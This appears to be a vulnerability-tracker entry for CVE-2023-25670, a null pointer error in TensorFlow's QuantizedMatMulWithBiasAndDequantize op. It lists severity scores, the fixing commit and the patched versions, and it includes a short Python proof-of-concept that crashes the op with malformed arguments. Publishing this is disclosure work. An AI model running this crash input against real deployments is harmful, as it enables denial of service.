CVE-2023-25670High· 7.5▾ TwilightTensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.4%
0.4% → 0.4%
Last analysed / modified upstream
NPE in QuantizedMatMulWithBiasAndDequantize with MKL enable
import tensorflow as tf
func = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize
para={'a': tf.constant(138, dtype=tf.quint8), 'b': tf.constant(4, dtype=tf.qint8), 'bias': [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], 'min_a': 141.5337138686371, 'max_a': [73.84139251708984, 173.15280151367188], 'min_b': [], 'max_b': [[16.128345489501953, 193.26820373535156]], 'min_freezed_output': [], 'max_freezed_output': [115.50032806396484, 156.974853515625], 'Toutput': 1.0, 'transpose_a': True, 'transpose_b': False, 'input_quant_mode': 'MIN_FIRST'}
func(**para)
We have patched the issue in GitHub commit 8a47a39d9697969206d23a523c977238717e8727.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
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This vulnerability has been reported by r3pwnx
tensorflow < 2.11.1tensorflow-cpu < 2.11.1tensorflow-gpu < 2.11.1Upgrade to a patched release:
tensorflow 2.11.1tensorflow-cpu 2.11.1tensorflow-gpu 2.11.1Connected by shared product, vendor, weakness, or advisory.
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